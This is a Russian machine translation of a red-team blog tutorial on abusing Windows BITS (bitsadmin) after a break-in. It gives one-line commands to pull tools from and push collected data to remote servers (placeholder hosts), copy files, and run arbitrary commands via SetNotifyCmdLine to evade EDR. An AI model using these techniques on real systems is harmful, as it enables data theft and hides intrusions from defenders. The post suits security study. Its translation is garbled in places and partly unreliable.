ВВЕДЕНИЕ

Что ж, я, наконец, открыл коробку, но EDR продолжает поглощать все мои инструменты. Должен быть способ сделать некоторые основные вещи на коробке, не будучи пойманным. Как я могу ковыряться и делать что-то, не сжигая все свои инструменты?

После всей тяжелой работы по проникновению в систему защита конечной точки помещает в карантин ваши хакерские/вредоносные инструменты. Это обычная беда среднего Script Kiddie. Это постоянная борьба между разработчиками и охранными компаниями. Каждый раз, когда вы делаете новую версию инструмента, они пишут для нее подпись, и *раздражающий сосущий звук* вот и заканчивается ваша тяжелая работа. Если бы только был способ использовать двоичные файлы и инструменты, уже имеющиеся в системе, для выполнения того, что вы хотите сделать…

Добро пожаловать в концепцию жизни вне земли, идею, описанную на DerbyCon 3 Кристофером Кэмпбеллом и Мэттом Грэбером [1]. Когда вы живете вне земли, вы используете исполняемые файлы и службы, уже присутствующие в системе, для выполнения ваших задач. Скорее всего, это означает использование этих двоичных файлов не по назначению, но это может означать использование двоичных файлов, о которых большинство людей забыли или никогда не знали. Если вы можете использовать некоторые из бинарных файлов, которые есть в системе, то:

  1. Вы не рискуете своими инструментами
  2. Вы сливаетесь, используя инструменты системы
  3. Вы можете избежать обнаружения, используя подписанные приложения из белого списка.

Существует множество двоичных файлов Living Off the Land (LOLBins), и вы можете узнать о них больше на https://lolbas-project.github.io/ или посмотрев презентацию Оддвара Мо на DerbyCon 8 [2] .

В качестве введения в эту концепцию мы рассмотрим bitsadmin, который представляет собой инструмент командной строки, используемый для создания, загрузки или выгрузки заданий BITS и отслеживания их выполнения. [3] А что такое задания BITS? Задания BITS — это задачи, использующие фоновую интеллектуальную службу передачи (BITS). BITS предоставляет два (2) основных типа заданий: загрузку и загрузку. Помимо простого создания этих заданий, он предоставляет методы для их мониторинга и управления ими. И с небольшими знаниями, Script Kiddies, вы сможете воспользоваться преимуществами BITS, чтобы жить за счет земли.

Как уже упоминалось, BITS используется для загрузки файлов с веб-серверов HTTP или файловых серверов Server Message Block (SMB) или загрузки файлов на них. [4]. В частности, он используется для обновлений Windows, поэтому, скорее всего, он включен и используется. . BITS берет на себя большую часть тяжелой работы по управлению передачей файлов. Он может приостанавливать и возобновлять загрузку (даже при перезагрузке). Он помнит о перегрузке сети и может ограничивать свою активность, чтобы максимизировать работу пользователя на переднем плане. Он также может использовать одноранговое кэширование для увеличения скорости передачи и уменьшения внешнего сетевого трафика.

ФОНОВАЯ ИНТЕЛЛЕКТУАЛЬНАЯ СЛУЖБА ПЕРЕДАЧИ

ХОРОШО. Прежде чем мы начнем, почему бы вам не дать мне версию FAQ по BITS. Что это за БИТЫ и почему я хочу использовать их для создания своего байта?

Основная цель BITS — передача файлов. Первоначально он разрешал только загрузку файлов, но загрузка стала доступна, начиная с Windows XP SP2. Как отмечалось выше, эти передачи файлов используют свободную полосу пропускания для асинхронной передачи данных в фоновом режиме. Это означает, что BITS будет передавать данные только тогда, когда полоса пропускания не используется другими приложениями [5]. Сервис также поддерживает возобновление передачи в случае сбоев, включая перезагрузку. Он возобновляет передачу с того места, где она была прервана, когда сетевое соединение восстанавливается или пользователь снова входит в систему.

BITS поддерживает передачу файлов на веб-сервер HTTP или REST или файловый сервер SMB. Сервер обычно представляет собой веб-сервер IIS с включенным расширением сервера BITS. Если вы выполняете загрузку файлов, вам необходимо убедиться, что права доступа установлены правильно в каталоге загрузки. Для загрузки могут использоваться другие веб-серверы, но они должны поддерживать протокол HTTP/1.1 и методы запроса HEAD и GET. Метод HEAD HTTP-сервера должен возвращать размер файла, а метод запроса GET должен поддерживать заголовки Content-Range и Content-Length.

BITS могут использовать программисты и системные администраторы. Системные администраторы обычно используют утилиту командной строки bitsadmin (устарела) или командлеты PowerShell для создания и управления переносами [6]. BITS имеет COM-интерфейс, разработанный для разработчиков C и C++, который также можно использовать в проектах .NET.

Сама служба опирается на очередь заданий. Как уже упоминалось, эти задания бывают двух (2) основных типов: загрузка и загрузка. Пользователь создает задание, а затем добавляет в него файл. Задания загрузки поддерживают несколько файлов, но загрузка поддерживает только одно (1) задание. Отдельные файлы имеют свои собственные свойства, включая как минимум источник и место назначения. У задания также есть свойства, которые можно задать перед возобновлением задания.

У пользователя есть четыре (4) метода управления состоянием задания: Возобновить, Приостановить, Отменить и Завершить. Метод Resume используется для запуска задания, которое было создано или приостановлено, а метод Complete должен быть вызван после выполнения передачи, чтобы фактически завершить передачу. На этом этапе все полностью загруженные файлы будут сохранены, а любые незавершенные файлы или передачи файлов с ошибками будут удалены. Вы должны либо завершить, либо отменить задание, чтобы оно перешло в состояние завершения и было удалено из очереди.

ПЕРЕДАЧА ФАЙЛА

Большой! Теперь, когда я понял, BITS кажется именно тем, что позволяет передавать мои файлы, оставаясь скрытым в «фоне». Как мило со стороны Windows предоставить именно ту услугу, которую я искал. Итак, как мне использовать эту волшебную фею, чтобы загрузить другие мои инструменты или загрузить все вкусности, которые я найду?

Итак, вы хотите передать файл с помощью BITS? Что ж, первый шаг к передаче файла — создание задания. Задания можно легко создавать с помощью утилиты командной строки bitsadmin с помощью параметра /create. Этот переключатель позволяет нам создать задание загрузки или выгрузки. При создании задания мы также предоставляем имя, которое можно использовать для управления заданиями и их отображения. После создания задания нам нужно добавить файл к заданию с помощью переключателя /addfile, который принимает источник и место назначения. При загрузке файлов источником является адрес нашего удаленного веб-сервера. После создания задания и добавления в него наших файлов нам нужно возобновить задание, которое запускает передачу.

Наконец, как только передача завершена, нам нужно завершить работу. По завершении задания переданный файл перемещается из временного местоположения в указанное место назначения, а все частично загруженные файлы удаляются. Следующий пример можно использовать для загрузки файла с веб-сервера в одну (1) строку. Он использует утилиту командной строки timeout, чтобы дать передаче файла 10 секунд для завершения.

>bitsadmin /create JOB & bitsadmin /addfile JOB <REMOTE_SRC> <LOCAL_DST> & bitsadmin /resume JOB & timeout /T 10 & bitsadmin /complete JOB

Мы можем увидеть результаты выполнения этой команды на следующем снимке экрана.

Как уже отмечалось, BITS можно использовать для загрузки файлов в дополнение к загрузке файлов. Единственная разница в командах заключается в том, что вы указываете, что вы создаете задание загрузки, включив дополнительный переключатель в команду bitsadmin /create. Также обратите внимание, что за удаленным пунктом назначения следует локальный источник в команде bitsadmin /addfile. Опять же, следующий пример можно использовать для загрузки файла на веб-сервер в одну (1) строку. Он использует утилиту командной строки timeout, чтобы дать передаче файла 10 секунд, но вы можете проверить состояние вручную, используя bitsadmin /getstate JOB, а затем выполнив команду bitsadmin /complete JOB после передачи файла.

>bitsadmin /create /upload JOB & bitsadmin /addfile JOB <REMOTE_DST> <LOCAL_SRC> & bitsadmin /resume JOB & timeout /T 10 & bitsadmin /complete JOB

Мы можем увидеть результаты выполнения этой однострочной команды загрузки на следующем снимке экрана.

КОПИРОВАНИЕ ФАЙЛА

Итак, BITS отлично подходит для передачи файлов, но именно для этого он и был разработан. Что еще можно сделать с помощью этой утилиты? Я знаю, что у вас должны быть какие-то хитрости, чтобы злоупотреблять этим двоичным файлом, чтобы «жить за счет земли».

BITS был разработан для передачи файлов, но определение «передачи» расплывчато и может включать в себя копирование файлов. Таким образом, вы можете передавать файлы из источника в той же системе в пункт назначения в той же системе. Вы создаете задание BITS, как обычно, но вместо использования удаленного источника вы просто указываете локальный источник и локальный пункт назначения, используя полное имя пути. Когда вы возобновите задание, BITS «перенесет», т. е. скопирует, источник в пункт назначения. Примечание: это копирование, а не перемещение. Это может быть не так уж полезно, но в некоторой степени скрывает ваши следы при копировании файлов, поскольку служба делает это за вас, а не выдает команду копирования напрямую. В следующем однострочнике показано, как использовать утилиту bitsadmin для копирования локального файла.

>bitsadmin /create JOB & bitsadmin /addfile JOB <LOCAL_SRC> <LOCAL_DST> & bitsadmin /resume JOB & bitsadmin /complete JOB

На следующем снимке экрана показан пример использования bitsadmin для копирования файла.

ВЫПОЛНЕНИЕ ФАЙЛА

Конечно, копировать файлы удобно, но давайте. Доберитесь до хорошего! Должны быть еще какие-то полезные советы, иначе вы бы не писали об этом блог. Итак, что еще мы можем сделать для нас?

Передача файлов может быть удобной, но именно для этого и был разработан BITS. И копирование файлов может быть творческим, но не таким сложным. Это просто расширение определения передачи. Однако есть относительно неизвестная функция BITS, которая позволяет нам выполнять произвольную команду. Это приведет к тому, что BITS выдаст команду от нашего имени. Хотя наше имя пользователя по-прежнему будет привязано к процессу, он будет создан как дочерний процесс службы, которая запускается в группе служб svchost -k netsvcs. Это помогает повысить доверие к нашей команде и может помочь замести следы немного лучше, чем просто запуск команды непосредственно из вашей оболочки.

Мы можем выполнить этот подвиг, используя встроенную функцию setnotifycmdline [7]. Этот переключатель позволяет пользователю установить команду командной строки, которая запускается после того, как задание завершит передачу данных. Эта команда запускается до фактического завершения задания, поэтому файл не был перемещен в конечное место назначения, и задание все еще можно отменить. Также обратите внимание, что использование этого переключателя требует успешной передачи файла, прежде чем он вызовет указанную командную строку. Опять же, вы можете использовать наш трюк с копированием файла, описанный выше, чтобы вызвать событие.

Переключатель setnotifycmdline принимает три (3) аргумента: JOB, PROGRAM_NAME и PARAMETERS. PARAMETERS может быть NULL, но если они включены, первый параметр должен соответствовать указанному PROGRAM_NAME.

В следующей командной строке показано использование BITS и переключателя setnotifycmdline для выполнения команды.

>bitsadmin /create JOB & bitsadmin /addfile JOB <LOCAL_SRC> <LOCAL_DST> & bitsadmin /SetNotifyCmdLine JOB <PROGRAM_NAME> <PARAMETERS> & bitsadmin /resume JOB & bitsadmin /reset

На следующем снимке экрана показан пример использования этой однострочной строки для выполнения calc.exe.

Как видите, порожденный calc.exe является дочерним процессом svchost.exe, отвечающим за группу служб netsvcs.

ЗАКЛЮЧЕНИЕ

Итак, BITS чрезвычайно полезен. Я не могу поверить, что Windows просто раздает его бесплатно. Почему я всю жизнь этим не пользовался? BITS — подарок, который продолжает дарить. Я могу полностью использовать это, чтобы «жить за счет земли» и перестать беспокоиться об этих надоедливых EDR, которые пылесосят мои инструменты Script Kiddie.

В этом уроке для Script Kiddies мы рассмотрели BITS и то, как мы можем использовать их, чтобы «жить за счет земли». BITS — это встроенный компонент Windows, предоставляющий метод загрузки и выгрузки файлов. Мы можем воспользоваться этим, чтобы загружать и скачивать наши собственные файлы. Мы также можем расширить определение загрузки, чтобы копировать файлы в локальной системе. Наконец, мы продемонстрировали, как вы можете использовать относительно неизвестную функцию этого сервиса для выполнения команды по вашему выбору. Использование BITS или любого другого «LOLBIN» позволяет вам избежать обнаружения или, как минимум, защищает ваши инструменты от обнаружения и помещения в карантин. Вы можете воспользоваться этими неизвестными двоичными файлами или неизвестными функциями известных двоичных файлов для выполнения множества задач. Так что избавьте себя от некоторых разочарований и просто «живите за счет земли» с BITS, и, как всегда, не забывайте проверять возвращаемые значения.

[1] https://www.youtube.com/watch?v=j-r6UonEkUw

[2] https://www.youtube.com/watch?v=NiYTdmZ8GR4

[3] https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin

[4] https://docs.microsoft.com/en-us/windows/win32/bits/about-bits

[5] https://en.wikipedia.org/wiki/Background_Intelligent_Transfer_Service

[6] https://docs.microsoft.com/en-us/windows/win32/bits/background-intelligent-transfer-service-portal

[7] https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setnotifycmdline

Первоначально опубликовано на https://www.trustedsec.com 13 апреля 2021 г.